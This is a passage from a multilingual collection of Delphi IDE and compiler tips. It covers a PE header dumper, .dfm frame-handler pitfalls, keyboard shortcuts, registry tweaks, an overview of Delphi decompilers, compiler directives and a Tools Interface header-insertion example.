      Lines.Add(' image runs in the OS/2 character subsystem. ');
    IMAGE_SUBSYSTEM_POSIX_CUI:
      Lines.Add(' image run in the Posix character subsystem. ');
  else
    Lines.Add(' unknown subsystem')
  end; { Case }
  Lines.Add(Format('DllCharacteristics: %d', [h.DllCharacteristics]));
  Lines.Add(Format('SizeOfStackReserve: %d', [h.SizeOfStackReserve]));
  Lines.Add(Format('SizeOfStackCommit: %d', [h.SizeOfStackCommit]));
  Lines.Add(Format('SizeOfHeapReserve: %d', [h.SizeOfHeapReserve]));
  Lines.Add(Format('SizeOfHeapCommit: %d', [h.SizeOfHeapCommit]));
  Lines.Add(Format('LoaderFlags: %d', [h.LoaderFlags]));
  Lines.Add(Format('NumberOfRvaAndSizes: %d', [h.NumberOfRvaAndSizes]));
end;

// Example Call, Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);
var
  fs: TFilestream;
  signature: DWORD;
  dos_header: IMAGE_DOS_HEADER;
  pe_header: IMAGE_FILE_HEADER;
  opt_header: IMAGE_OPTIONAL_HEADER;
begin
  memo1.Clear;
  with Opendialog1 do
  begin
    Filter := 'Executables (*.EXE)|*.EXE';
    if Execute then
    begin
      fs := TFilestream.Create(FileName, fmOpenread or fmShareDenyNone);
      try
        fs.read(dos_header, SizeOf(dos_header));
        if dos_header.e_magic <> IMAGE_DOS_SIGNATURE then
        begin
          memo1.Lines.Add('Invalid DOS file header');
          Exit;
        end;
        DumpDOSHeader(dos_header, memo1.Lines);

        fs.seek(dos_header._lfanew, soFromBeginning);
        fs.read(signature, SizeOf(signature));
        if signature <> IMAGE_NT_SIGNATURE then
        begin
          memo1.Lines.Add('Invalid PE header');
          Exit;
        end;

        fs.read(pe_header, SizeOf(pe_header));
        DumpPEHeader(pe_header, memo1.Lines);

        if pe_header.SizeOfOptionalHeader > 0 then
        begin
          fs.read(opt_header, SizeOf(opt_header));
          DumpOptionalHeader(opt_header, memo1.Lines);
        end;
      finally
        fs.Free;
      end; { finally }
    end;
  end;
end;
К заголовку




" Object Inspector. Потеря обработчиков событий компонентов фрейма
Создаем фрейм, содержащий контролы, которые имеют собственные обработчики событий. При помещении на форму таких фреймов
нужно быть с ними очень осторожными в design-time. Достаточно случайно "войти" в процедуру обработки такого события
для компонента фрейма, чтобы IDE автоматически сформировала обработчик этого события для формы, а не для фрейма.
После этого, при удалении этого обработчика, обработчик "задетого" события во фрейме полностью игнорируется.

"Камушек" кроется в том, что IDE при удалении обработчика из ObjectInspector не вытирает упоминание о нем из файла *.dfm,
а просто присваивает ему там nil!

Для иллюстрации "камня" приводится тестовый проект. На форме лежат два совершенно одинаковых фрейма, исходный код и OI
показывают, что эти фреймы абсолютно идентичны, но(!) один из них отрабатывает нажатие на кнопку, а второй полностью
его игнорирует.

Источник беды виден в файле формы *.dfm (View as text) :

....
  inline frClick1: TfrClick
    Left = 5
    Top = 32
  end
  inline frClick2: TfrClick
    Left = 6
    Top = 128
    TabOrder = 1
    inherited BitBtn1: TBitBtn
      OnClick = nil
    end
  end
....


ТИПОВЫЕ РЕШЕНИЯ

   1. Стараться не щелкать без надобности по OI;
   2. Если такое случилось, проверить и откорректировать файл *.dfm , удаляя ненужное описание обработчика
(в тестовом примере это строка "OnClick = nil")

Скачать тест StoneTest_26.zip (1.8K)

КОММЕНТАРИЙ:

Еще один метод борьбы заключается в правильном способе удаления ненужного обработчика. Ведь нам нужно вообще
удалить нечаянно созданный обработчик события с формы, не так ли? Очистка события в OI только отключает процедуру от
компонента, не удаляя ее из кода модуля. И правильно делает - она могла быть задействована где-то еще.

Если действовать "по всем правилам искусства", как рекомендуют классики, то надо очистить тело процедуры обработчика
от кода между begin и end, а затем просто сохранить файл (F2 в классической раскладке). IDE Delphi при сохранении файла
очищает форму от пустых обработчиков, и делает это корректно (все в точности возвращается назад).

Так что, может быть, это не глюк, а фича такая: "OnClick = nil" - способ отключить унаследованный от фрейма
обработчик, не прибегая к коду.
К заголовку




" Автоматическая генерация GUID в редакторе кода
If you have Delphi 4 Professional or Client/Server or a newer Version, you can press the key combination Ctrl+Shift+G
and Delphi will insert the unique GUID (Global Unique Identifier) into the code editor at the cursor location.
This can be useful for COM programmers.

Ab Delphi 4 Professional oder Client/Server kann man mittels Strg+Shift+G einen GUID (Global Unique Identifier)
an der aktuellen Cursor Position einfьgen lassen. Dies kann vorallem fьr COM Programmierer nьtzlich sein.

Example/ Beispiel:

Press Ctrl+Shift+G und you''ll get something like that:
Drьcke Strg+Shift+G und dann wird z.B ein solcher GUID eingefьgt:

['{C84EB7F0-8AA8-11D6-BDA5-00409544305B}']
К заголовку




" Автоматическая прокрутка и выделение страницы компонент
These undocumented registry settings must be put in the registry location:

HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Extras
You can create them by running RegEdit.exe. After RegEdit is running, you need to go to the appropriate area of
your registry by navigating through the Registry tree.

You will need to create the "Extras" registry key. You can do this by clicking the right mouse button in the
registry key on the entry for

HKEY_CURRENT_USER\Software\Borland\Delphi\5.0 then selecting New|Key. Once this key is created, you can select it
and create either or both of the string values described below.

Automatically Selecting a Component Page

There are two registry values that control how the component palette reacts to the mouse. Setting the value of
AutoPaletteSelect to "1" (one) will cause a tab on the component palette to be automatically selected when the
mouse is hovering over it. If the mouse is in the top two-thirds (2/3) of the tab, the palette for that tab will
automatically be displayed.

To create this entry, click the right mouse button and select New|String Value. Replace "New Value #1" with
"AutoPaletteSelect." Set its value to "1" by pressing the right mouse button again and selecting Modify, and
using the dialog that appears.

Automatically Scrolling in a Component Page

If you have a lower resolution display or a component page with many components on it, you probably see arrows on
the component page for scrolling left and right through the component list. Setting the value of AutoPaletteScroll
to "1" (one) will make you scroll left and right automatically whenever the mouse is positioned over the relevant arrow.

To create this entry, click the right mouse button and select New|String Value. Replace "New Value #1" with
"AutoPaletteScroll." Set its value to "1" by pressing the right mouse button again and selecting Modify, and
using the dialog that appears.

I got used to both of these changes quite quickly, so for me, they''re definitely a nice tweak for the IDE.
Try them out yourself and see if you like them.
К заголовку




" Автоматически создать реализацию по объявлению в IDE
{
  If you have Delphi 4 Professional or Client/Server or a newer Version,
  you can use the key combination Ctrl+Shift+C
  to have Delphi automatically create the implementation declarations
  for methods you declare in the interface section.

  Ab Delphi 4 Prof, Client/Server kann man mit der Strg+Shift+C Tastenkombination
  automatisch die Implementation Deklaration erstellen fur Methoden,
  welche man in der Interface Sektion deklariert.

  So if you add this to the interface section,
  Wenn man z.B das in die Interface Sektion schreibt,
}


   procedure YourProcedure(SomeParameter: string);

 {
  ...Delphi will create the following in the implementation section:
  ...generiert Delphi automatisch den Code fur die Implementation Sektion:
}

   procedure TForm1.YourProcedure(SomeParameter: string);
   begin

   end;


 {
  This also works for class declarations like this:
  Dies funktioniert z.B auch fur Klassen Deklarationen wie diese:
}

   type TYourButton = class(TButton)
     property  Height : Integer;
     procedure DoSomething;
   end;
К заголовку




" Активизация и использование в IDE окна CPU
Предупреждение: Окно CPU еще до конца не оттестировано и может иногда приводить к ошибкам. Если у вас есть
проблемы с отладчиком, или при запуске вашей программы вы не можете им воспользоваться, окно CPU может помочь
решить ваши проблемы. Обычно его не требуется включать, если только у вас не "особый случай".

В Delphi 2 эта характеристика встроена, но по умолчанию выключена, называется это окно CPU window, или
DisassemblyView. Она легка в использовании, может быть полезной в отладке и сравнении кода при его оптимизации.

Для активизации этой характеристики, запустите REGEDIT и отредактируйте регистры описанным ниже образом. Найдите
ключ HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging. Создайте по этому пути строковый ключ с именем "ENABLECPU".
Значение нового ключа должно быть строкой "1". Это все. Теперь в Delphi IDE появился новый пункт меню View|CPUWindow.
При его активизации выводится новое окно.

Теперь, чтобы понять какое мощное средство оказалось в ваших руках, сделаем сравнительный анализ генерируемого кода
для двух примеров, имеющих одинаковую функциональность, но достигающую ее разными путями.

Создайте 2 одинаковых обработчика события. В каждом обработчике события разместите приведенный ниже код. Установите
точку прерывания на первой строчке каждого обработчика. Запустите приложение и активизируйте события. Сравните
ассемблерный код обоих методов. Один короче? В этом случае он будет исполняться быстрее.

Достойными для такого рода анализа могут быть участки кода, многократно выполняемые в процессе работы программы,
или критические ко времени выполнения.

Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является
использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do"
будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически
создаваемых объектов?
Код:

with TObject.create do
begin
  property1 := ;
  property2 := ;
  property3 := ;
end;


будет выполняться быстрее, чем

MyObj := TObject.create;
MyObj.Property1 := ;
MyObj.Property2 := ;
MyObj.Property3 := ;

К заголовку




" Воспользоваться другим средством поиска в IDE
Press Ctrl-E and start typing...
Drьcke Strg-E und beginne zu schreiben...
К заголовку




" Восстановить позицию по умолчанию панелей инструментов в IDE Delphi
Delphi 5 sometimes rearranges its toolbars seemingly at random (and rather stupidly) every time it starts or
loads a project. Once it starts doing this, it is pointless to rearrange them and store the desktop, Delphi
will just make a mess out of it again.

I have not been able to find out, what causes this, but apparently the toolbar settings in the registry get
corrupted. Deleting them, will restore the default> toolbars again. You can then customize them and Delphi will
remember your settings. (Until next time the registry entries get corrupted. :-( ).

(If you never experienced this problem, count yourself lucky, it is quite annoying.)

The entries are under HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, just delete all entries.

{********}

Delphi 5 ordnet die Toolbars manchmal bei jedem Start und beim Laden von Projekten neu an, meist kommt dabei
ziemlicher Bloedsinn heraus. Sie neu anzuordnen hilft nicht, da Delphi die Einstellungen gleich wieder verwurstet.

Ich konnte nicht herausfinden, was dieses Phaenomen verursacht, aber anscheinend sind die Eintraege in der Registry,
die diese Einstellungen speichern, ungueltig. Wenn man sie loescht, bekommt man wieder die Standardanordnung und
anschliessend speichert Delphi evtl. vorgenommene Aenderungen auch wieder ab. (Bis sie zum naechsten
Mal kaputtgehen. :-( ).

(Wenn Du dieses Problem nie hattest, sei froh, es ist extrem nervig.)

Die Eintrage, um die es geht, stehen unter HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, einfach alle Eintraege loeschen.
К заголовку




" Выделить родительский компонент, когда он невидим, в Design Time
When sie z.B. einen TPanel auf einen Formular auf alClient GrцЯe eingestellt haben, dann kцnnen Sie das
Formular Objekt darunter nicht mehr mit der Maus selektieren.
Aber so geht''s:
1. Panel anclicken
2. ESC drьcken
ESC selektiert automatisch die Eltern-Komponent des aktiven Objekts, also das TForm in diesem Fall.

Auch bei "verschachtelte Komponente" kцnnen Sie wiederholt auf ESC drьcken, um jeweils eine Ebene "hцher" zu
landen bzw. zu selektieren.

Es ist auch manchmal schneller als die Component im IDE Explorer zu suchen...

{**************************************************************}

Maybe you have a Panel on your Form with Alignement:=alClient.
You cannot select the underlying Form with the Mouse.
The quick way to select it:
1. select the panel
2. Press ESC
It works with all Child components.
Also many times in a row.
ESC always selects the Parent of the activ component.

This''s sometimes faster than looking for the control in the IDE Explorer...
К заголовку




" Декомпиляция в Delphi
Читая форумы по программированию, иногда натыкаешься на вопрос типа: "У меня есть откомпилированная программа на Delphi.
Как мне получить её исходный код?". Обычно такой вопрос возникает, когда программист потерял файлы проекта и у него
остался только .exe. Как правило полностью восстановить исходный код на языке высокого уровня невозможно. Значит ли
это, что другие тоже не смогут восстановить исходный код Вашей программы ? Хм ... и да и нет ...

Для начала сразу скажу, что восстановить исходный код в точности каким он был однозначно невозможно, так как не
существует в мире такого декомпилятора, который бы смог сотворить такое.

После компиляции и линковки проекта и получения исполняемого файла все имена, используемые в программе конвертируются
в адреса. Потеря имён означет, что декомпилятор создаст уникальное имя для каждой константы, переменной, функции и процедуры.
Даже если мы и достигнем какого-то успеха в декомпиляции исполняемого файла, то получим уже другой синтаксис программы.
Данная проблема связана с тем, что при компиляции практически идентичные куски кода могут быть скомпилированы в разные
последовательности машинных команд (ASM), которые присутствуют в .exe файле. Естевственно декомпилятор не обладает такой
степенью интеллектуальности, чтобы решить - какова же была последовательность инструкций языка высокого уровня в исходном
проекте.

Когда же применяется декомпиляция ? Для этого существует довольно много причин. Вот некторые из них:

    * Восстановление исходного кода;
    * Перенос приложения на другую платформу;
    * Определение наличия вирусов в коде программы или вредоносного кода;
    * Исправление ошибок в программе, в случае, если создатель приложения не собирается этого делать :)

Легально ли всё это? Хотя декомпиляция и не является взломом, но утвердительно ответить на этот вопрос довольно сложно.
Обычно программы защищены законом об авторских правах, однако в большинстве стран на декомпиляцию делается исключение.
В часности, когда необходимо изменить интерфейс программы для конкретной страны, а сервис приложения не позволяет этого сделать.

На данный момент Borland не предоставляет никаких программных продуктов, способных декомпилировать исполняемые файлы (.exe)
либо откомпилированные Delphi-модули (.dcu) в исходный код (.pas).

Если же Вы всё-таки решились попробовать декомпилировать исполняемый файл, то необходимо знать следующие вещи. Исходные
коды на Delphi обычно хранятся в файлах двух типов: сам исходник в ASCII кодировке (.pas, .dpr) и файлы ресурсов
(.res, .rc, .dfm, .dcr). Dfm файлы хранят в себе свойства объектов, содержащихся в форме. При создании конечного .exe,
Delphi копирует в него информацию из .dfm файлов. Каждый раз, когда мы изменяем координаты формы, описания кнопок или
связанные с ними события, то Delphi записывает эти изменения в .dfm (за исключением кода процедур. Он сохраняется в файлах
pas/dcu ). И наконец, чтобы получить при декомпиляции файл .dfm, нужно знать - какие типы ресурсов хранятся внутри Win32
исполняемого модуля.

Все программы, скомпилированные в Delphi имеют следующие секции: CODE, DATA, BSS, .idata, tls, .rdata, .rsrc. Самые
важные для декомпиляции секции CODE и .rsrc. В статье "Adding functionality to a Delphi program" приведены некоторые
интересные факты о исполняемых форматах Delphi, а так же информация о классах и DFM ресурсах. В этой статье есть
один интересный момент под заголовком: "Как добавить свой обработчик события в уже откомпилированный файл, например,
чтобы изменять тект на кнопке".

Среди многих типов ресурсов, которые сохранены в .exe файле, интерес представляет RT_RCDATA, который хранит информацию,
которая были в DFM файле перед трансляцией. Чтобы извлеч DFM данные из .exe файла, мы можем вызываться API функцией
EnumResourceNames.

Исскуство декомпилирования традиционно было уделом мастеров, знакомых с ассемблером и отладчиками. Некоторые Delphi
декомпиляторы создают впечатление, что любой, даже с ограниченными техническими знаниями, может изменить по своему
желанию большинство исполняемых файлов Delphi.

И в заключение, если Вы заинтересовались декомпилованием, то предлагаю Вам несколько Delphi декомпиляторов:

DeDe
    DeDe довольно шустрая программка, позволяющая анализировать экзешники, скомпилированные в Delphi. После декомпиляции
DeDe даёт Вам следующее:

        * Все dfm файлы. Вы сможете открывать их и редактировать в Delphi
        * Все объявленные методы с хорошо комментированным кодом на ассемблере с ссылками на строки, импортированных
функций, методов и компонент в юните, блоки Try-Except и Try-Finally.
        * Большое количество дополнительной информации.
        * Вы можете создать папку Delphi проекта со всеми файлами dfm, pas, dpr. Не забудьте, что pas файлы содержат
ассемблерный код.

Revendepro
    Revendepro находит почти все структуры (классы, типы, процедуры, и т.д.) в программе, и генерирует их паскальное
представление, процедуры естевственно будут представлены на языке ассемблера. К сожалению, полученный ассемблерный
код не может быть заново откомпилирован. Так же доступен исходник этого декомпилятора. К сожалению, этот декомпилятор
не совсем рабочий - генерирует ошибку при декомпиляции.
MRIP
    Позволяет извлекать из Delphi приложения любые ресурсы: курсоры, иконки, dfm файлы, pas файлы и т.д. Но главная
его особенность - это способность извлекать файлы, хранящиеся в других файлах. Поддерживается более 100 форматов файлов.
MRip работает под DOS.
Exe2Dpr
    Эта программа может восстановить частично потерянные исходники проекта. Не имеет интерфейса и работает с командной
строки, например: 'exe2dpr [-o] exeFile' ( исходники проекта будут созданы в текущей директории).
К заголовку




" Директивы компилятора
директивы условной компиляции

{$C+} и {$C-} - директивы проверки утверждений
{$I+} и {$I-} - директивы контроля ввода/вывода
{$M} и {$S} - директивы, определяющие размер стека
{$M+} и {$M-} - директивы информации времени выполнения о типах
{$Q+} и {$Q-} - директивы проверки переполнения целочисленных операций
{$R} - директива связывания ресурсов
{$R+} и {$R-} - директивы проверки диапазона
{$APPTYPE CONSOLE} - директива создания консольного приложения

1) Директивы компилятора, разрешающие или запрещающие проверку утверждений

По умолчанию {$C+} или {$ASSERTIONS ON}

Область действия локальная

Описание

Директивы компилятора $C разрешают или запрещают проверку утверждений. Они влияют на работу процедуры Assert,
используемой при отладке программ. По умолчанию действует

директива {$C+} и процедура Assert генерирует исключение EAssertionFailed, если проверяемое утверждение ложно.

Так как эти проверки используются только в процессе отладки программы, то перед ее окончательной компиляцией следует
указать директиву {$C-}. При этом работа процедур Assert будет блокировано и генерация исключений EassertionFailed
производиться не будет.

Директивы действуют на весь файл исходного кода независимо от того, в каком месте файла они расположены.

2) Директивы компилятора, включающие и выключающие контроль файлового ввода-вывода

По умолчанию {$I+} или {$IOCHECKS ON}

Область действия локальная

Описание

Директивы компилятора $I включают или выключают автоматический контроль результата вызова процедур ввода-вывода
Object Pascal. Если действует директива {$I+}, то при возвращении процедурой ввода-вывода ненулевого значения генерируется
исключение EInOutError и в его свойство errorcode заносится код ошибки. Таким образом, при действующей директиве {$I+}
операции ввода-вывода располагаются в блоке try...except, имеющем обработчик исключения EInOutError. Если такого
блока нет, то обработка производится методом TApplication.HandleException.

Если действует директива {$I-}, то исключение не генерируется. В этом случае проверить, была ли ошибка, или ее не было,
можно, обратившись к функции IOResult. Эта функция очищает ошибку и возвращает ее код, который затем можно анализировать.
Типичное применение директивы {$I-} и функции IOResult демонстрирует следующий пример:

{$I-}
AssignFile(F, s);
Rewrite(F);
{$I+}

i := IOResult;
if i <> 0 then
  case i of
    2: ..........
    3: ..........
  end;

В этом примере на время открытия файла отключается проверка ошибок ввода вывода, затем она опять включается,
переменной i присваивается значение, возвращаемое функцией IOResult и, если это значение не равно нулю (есть ошибка),
то предпринимаются какие-то действия в зависимости от кода ошибки. Подобный стиль программирования был типичен до
введения в Object Pascal механизма обработки исключений. Однако сейчас, по-видимому, подобный стиль устарел и применение
директив $I потеряло былое значение.

3) Директивы компилятора, определяющие размер стека

По умолчанию {$M 16384,1048576}

Область действия глобальная

Описание

Локальные переменные в процедурах и функциях размещаются в стеке приложения. При каждом вызове процедуры или функции
ее локальные переменные помещаются в стек. При выходе из процедуры или функции эти локальные процедуры удаляются из стека.
Директивы компилятора $M задают параметры стека приложения: его минимальный и максимальный размеры. Приложение всегда
гарантированно имеет размер стека, равный его минимальной величине. Если при запуске приложения Windows обнаруживает,
что не может выделить этот минимальный объем памяти, то выдается сообщение об этой ошибке.

Если во время работы выясняется, что минимального размера стека не хватает, то размер увеличивается на 4 K, но не более,
чем до установленного директивой максимального размера. Если увеличение размера стека невозможно из-за нехватки памяти
или из-за достижения его максимальной величины, генерируется исключение EStackOverflow. Минимальный размер стека по умолчанию
равен 16384 (16K). Этот размер может изменяться параметром minstacksize директивы {$M} или параметром number директивы {$MINSTACKSIZE}.

Максимальный размер стека по умолчанию равен 1,048,576 (1M). Этот размер может изменяться параметром maxstacksize директивы
{$M} или параметром number директивы {$MAXSTACKSIZE number}. Значение минимального размера стека может задаваться целым
числом в диапазоне между1024 и 2147483647. Значение максимального размера стека должно быть не менее минимального
размера и не более 2147483647. Директивы задания размера стека могут включаться только в программу и не должны
использоваться в библиотеках и модулях.

В Delphi 1 имеется процедура компилятора {$S}, осуществляющая переключение контроля переполнения стека. Теперь этот
процесс полностью автоматизирован и директива {$S} оставлена только для обратной совместимости.

4) Директивы компилятора, включающие и выключающие генерацию информации времени выполнения о типах
(runtime type information - RTTI)

По умолчанию {$M-} или {$ TYPEINFO OFF}

Область действия локальная

Описание

Директивы компилятора $I включают или выключают генерацию информации времени выполнения о типах
(runtime type information - RTTI). Если класс объявляется в состоянии {$M+} или является производным от класса
объявленного в этом состоянии, то компилятор генерирует RTTI о его полях, методах и свойствах, объявленных в
разделе published. В противном случае раздел published в классе не допускается. Класс TPersistent, являющийся
предшественником большинства классов Delphi и все классов компонентов, объявлен в модуле Classes в состоянии {$M+}.
Так что для всех классов, производных от него, заботиться о директиве {$M+}не приходится.

5) Директивы компилятора, включающие и выключающие проверку переполнения при целочисленных операциях

По умолчанию {$Q-} или {$OVERFLOWCHECKS OFF}

Область действия локальная

Описание

Директивы компилятора $Q включают или выключают проверку переполнения при целочисленных операциях. Под переполнением
понимается получение результата, который не может сохраняться в регистре компьютера. При включенной директиве {$Q+}
проверяется переполнение при целочисленных операциях +, -, *, Abs, Sqr, Succ, Pred, Inc и Dec. После каждой из этих
операций размещается код, осуществляющий соответствующую проверку. Если обнаружено переполнение, то генерируется
исключение EIntOverflow. Если это исключение не может быть обработано, выполнение программы завершается.

Директивы $Q проверяют только результат арифметических операций. Обычно они используются совместно с директивами {$R},
проверяющими диапазон значений при присваивании. Директива {$Q+} замедляет выполнение программы и увеличивает ее размер.
Поэтому обычно она используется только во время отладки программы. Однако, надо отдавать себе отчет, что отключение этой
директивы приведет к появлению ошибочных результатов расчета в случаях, если переполнение действительно произойдет во
время выполнении программы. Причем сообщений о подобных ошибках не будет.

6) Директива компилятора, связывающая с выполняемым модулем файлы ресурсов

Область действия локальная

Описание

Директива компилятора {$R} указывает файлы ресурсов (.DFM, .RES), которые должны быть включены в выполняемый модуль
или в библиотеку. Указанный файл должен быть файлом ресурсов Windows. По умолчанию расширение файлов ресурсов - .RES.
В процессе компоновки компилированной программы или библиотеки файлы, указанные в директивах {$R}, копируются в
выполняемый модуль. Компоновщик Delphi ищет эти файлы сначала в том каталоге, в котором расположен модуль, содержащий
директиву {$R}, а затем в каталогах, указанных при выполнении команды главного меню Project | Options на странице
Directories/Conditionals диалогового окна в опции Search path или в опции /R командной строки DCC32.

При генерации кода модуля, содержащего форму, Delphi автоматически включает в файл .pas директиву {$R *.DFM},
обеспечивающую компоновку файлов ресурсов форм. Эту директиву нельзя удалять из текста модуля, так как в противном
случае загрузочный модуль не будет создан и сгенерируется исключение EResNotFound.

7) Директивы компилятора, включающие и выключающие проверку диапазона целочисленных значений и индексов

По умолчанию {$R-} или {$RANGECHECKS OFF}

Область действия локальная

Описание

Директивы компилятора $R включают или выключают проверку диапазона целочисленных значений и индексов. Если включена
директива {$R+}, то все индексы массивов и строк и все присваивания скалярным переменным и переменным с ограниченным
диапазоном значений проверяются на соответствие значения допустимому диапазону. Если требования диапазона нарушены
или присваиваемое значение слишком велико, генерируется исключение ERangeError. Если оно не может быть перехвачено,
выполнение программы завершается.

Проверка диапазона длинных строк типа Long strings не производится. Директива {$R+} замедляет работу приложения и
увеличивает его размер. Поэтому она обычно используется только во время отладки.

8) Директива компилятора, связывающая с выполняемым модулем файлы ресурсов

Область действия локальная

Описание

Директива компилятора {$R} указывает файлы ресурсов (.DFM, .RES), которые должны быть включены в выполняемый модуль
или в библиотеку. Указанный файл должен быть файлом ресурсов Windows. По умолчанию расширение файлов ресурсов - .RES.
В процессе компоновки компилированной программы или библиотеки файлы, указанные в директивах {$R}, копируются в
выполняемый модуль. Компоновщик Delphi ищет эти файлы сначала в том каталоге, в котором расположен модуль, содержащий
директиву {$R}, а затем в каталогах, указанных при выполнении команды главного меню Project | Options на странице
Directories/Conditionals диалогового окна в опции Search path или в опции /R командной строки DCC32.

При генерации кода модуля, содержащего форму, Delphi автоматически включает в файл .pas директиву {$R *.DFM},
обеспечивающую компоновку файлов ресурсов форм. Эту директиву нельзя удалять из текста модуля, так как в противном
случае загрузочный модуль не будет создан и сгенерируется исключение EResNotFound.
К заголовку




" Зависание Delphi 4(5)
Delphi 4(5) виснут при запуске. Видеокарта S3 Virge.

Решение:

Добавьте в реестр строку:

[HKEY_CURRENT_CONFIG\Display\Settings]
"BusThrottle"="on"

Если не помогает, то попробуйте добавить в system.ini:

[Display]
"BusThrottle"="On"

Эта проблема устранена в Delphi 4sp3.
К заголовку




" Записать и проиграть нажатие клавиш в IDE
If you write a lot of code, you would probably have come across a situation where you need to record some keystrokes and
play them back a number of times.
You can now do this in the Delphi IDE by

1. pressing [Ctrl][Shift][R] to start recording,
2. type in the keystrokes you want repeated, and
3. press [Ctrl][Shift][R] to stop recording.
4. To Play back, press [Ctrl][Shift][P].

So kann ein Tastaturmakro in der Delphi IDE aufgezeichnet werden:

1. Eine Aufzeichnung wird durch Strg+Umschalt+R begonnen.
2. Anschliessend kцnnen die aufzuzeichnenden Tastenkombinationen gedrьckt werden.
3. Am Schluss der Aufzeichnung erneut Strg+Umschalt+R drьcken, um die Aufzeichnung zu beenden.
4. Zum Ausfьhren des Makros Strg+Umschalt+P drьcken.
К заголовку




" Запуск Delphi с секретными параметрами
-ns : ("no splash") flag skips the splash screen : Startet Delphi ohne Splash Screen (ab Delphi 2)

(Delphi 2 and later)

Delphi32.EXE -ns

-np : ("no project") flag tells Delphi not to open an empty project on startup : Startet Delphi, ohne ein leeres
Projekt zu цffnen.

(Delphi 5 and later)

Delphi32.EXE -np

-hm : ("Heap Monitor")
Displays information in the IDE title bar regarding the amount of memory allocated using the memory manager. Displays
the number of blocks and bytes allocated. Information gets updated when the IDE is idle. : Zeigt in der Titelleiste der
IDE Informationen ьber den allozierten Speicher an. Zeigt die Anzahl allozierten Blocks/Bytes an.

(Delphi 3 and later)

Delphi32.EXE -hm

-attach: Attach to running process.
This command-line is used to make Delphi a JIT debugger on Windows 95/98/NT.
Delphi 4 and later.

Note:
These command-line switches are
case-insensitive and can be prefixed with either - or /.

Bemerkung:

Die Parameter sind Case-Insensitive und kцnnen ein - oder / vorangestellt haben.
К заголовку




" Изменить регистр выделенного исходного кода
Text lower case / Text in Kleinbuchstaben
-----------------------------------------

Shortcut / Tastenkombination:
Ctrl+K O

Text upper case / Text in Grossbuchstaben
-----------------------------------------

Shortcut / Tastenkombination:

Ctrl+K N
К заголовку




" Использование Tools Interface
...я все еще ищу *крутой* способ отрисовки содержимого окна редактирования IDE, и уже добрался до списка дескрипторов
окон. Я так понял, что для этого нужно использовать инструментальный интерфейс (Tools Interface), только c помощью него,
да? Ну и как этим чудом воспользоваться?

Приведенный ниже код может использоваться для включения заголовка исходного кода, представляющего собой шапку с
информацией об авторских правах, авторе, версии и пр. при добавлении нового модуля или формы к вашему проекту.
TIAddInNotifier - класс, реализованный в ToolIntf и позволяющий "захватывать" такие события, как открытие файлов,
их закрытие, открытие и закрытие проекта и др. Я перекрыл процедуру FileNotification для захвата событий AddedToProject
и RemovedFromProject. В обработчике события AddedToProject вы можете получить доступ к новому модулю проекта, особенно
это касается процедуры InsertHeader. Я создал наследника класса TIEditorInterface, расположенного в файле EditIntf.pas,
и создал собственную процедуру InsertHeader.

VCSNotifier создается в другом модуле и здесь не показан. Приведенный ниже код является частью моей программы,
осуществляющей контроль версий dll. При создании код "живет" до тех пор, пока работает Delphi. При получении кода
AddedToProject, я проверяю наличие файла (должен быть новым), и что он является .pas-файлом. Затем я создаю
VCSEditorInterface, мой унаследованный интерфейс, и использую мою процедуру InsertHeader.

В самой процедуре InsertHeader я создаю экземпляр TIEditReader для чтения нового модуля и TIEditWriter для его изменения.

unit VCSNtfy;

interface

uses SysUtils, Dialogs, Controls, ToolIntf, EditIntf;

type

  TIVCSNotifier = class(TIAddInNotifier)
  public
    procedure FileNotification(NotifyCode: TFileNotification; const FileName:
      string; var Cancel: Boolean); override;
  end;

  TIVCSEditorInterface = class(TIEditorInterface)
  public
    procedure InsertHeader;
  end;

var

  VCSNotifier: TIVCSNotifier;
  VCSModuleInterface: TIModuleInterface;
  VCSEditorInterface: TIVCSEditorInterface;

implementation

uses FITIntf, FITStr, Classes;

{ *************************   Начало VCSNotifier  **************************** }

procedure TIVCSNotifier.FileNotification(NotifyCode: TFileNotification; const

  FileName: string; var Cancel: Boolean);
var

  TmpFileName: string;

begin

  case NotifyCode of
    fnRemovedFromProject: VCSProject.Remove(LowerCase(ExtractFileName(
        FileName)));
    fnAddedToProject:
      begin
        if (not FileExists(FileName)) and
          (ExtractFileExt(FileName) = '.pas') then
        begin
          { новый файл с исходным кодом }
          VCSModuleInterface := ToolServices.GetModuleInterface(FileName);
          if VCSModuleInterface <> nil then
          begin
            VCSEditorInterface := TIVCSEditorInterface(
              VCSModuleInterface.GetEditorInterface);
            VCSEditorInterface.InsertHeader;
            VCSEditorInterface.Free;
          end;
          VCSModuleInterface.Free;
        end;

        TmpFileName := LowerCase(ExtractFileName(FileName));
        if VCSProject.RecycleExists(TmpFileName) then
        begin
          if MessageDlg('Вы хотите извлечь текущие ' +
            ' записи из таблицы Recycle' +
            #13 + #10 + '           ' +
            VCSProject.ProjectName + '/' +
            TmpFileName + '?', mtConfirmation,
            [mbYes, mbNo], 0) = mrYes then
          begin
            VCSProject.Recycle(TmpFileName);
          end;
        end;
      end;
  end;
end;

{ *************************    Конец TIVCSNotifier   *************************** }

{ *********************   Начало TIVCSEditorInterface  ************************ }

procedure TIVCSEditorInterface.InsertHeader;
var

  Module, TmpFileName, UnitName, InsertText, Tmp: string;
  Reader: TIEditReader;
  Writer: TIEditWriter;
  APos: Integer;
  F: TextFile;
begin

  TmpFileName := ExtractFileName(FileName);
  UnitName := SwapStr(TmpFileName, '.pas', '');

  SetLength(Module, 255);
  Reader := CreateReader;
  try
    Reader.GetText(0, PChar(Module), Length(Module));
  finally
    Reader.Free;
  end;

  APos := Pos('unit ' + UnitName, Module);
  if APos > 0 then
  begin
    try
      InsertText := '';
      AssignFile(F, VCSConfig.HeaderFileLocation);
      Reset(F);
      while not EOF(F) do
      begin
        Readln(F, Tmp);
        InsertText := InsertText + #13 + #10 + Tmp;
      end;
      CloseFile(F);

      InsertText := InsertText + #13 + #10;

      Writer := CreateWriter;
      try
        Writer.CopyTo(APos - 1);
        Writer.Insert(PChar(InsertText));
      finally
        Writer.Free;
      end;
    except
      on E: EStreamError do
        MessageDlg('Не могу создать шапку', mtInformation, [mbOK], 0);
    end;
  end;

end;
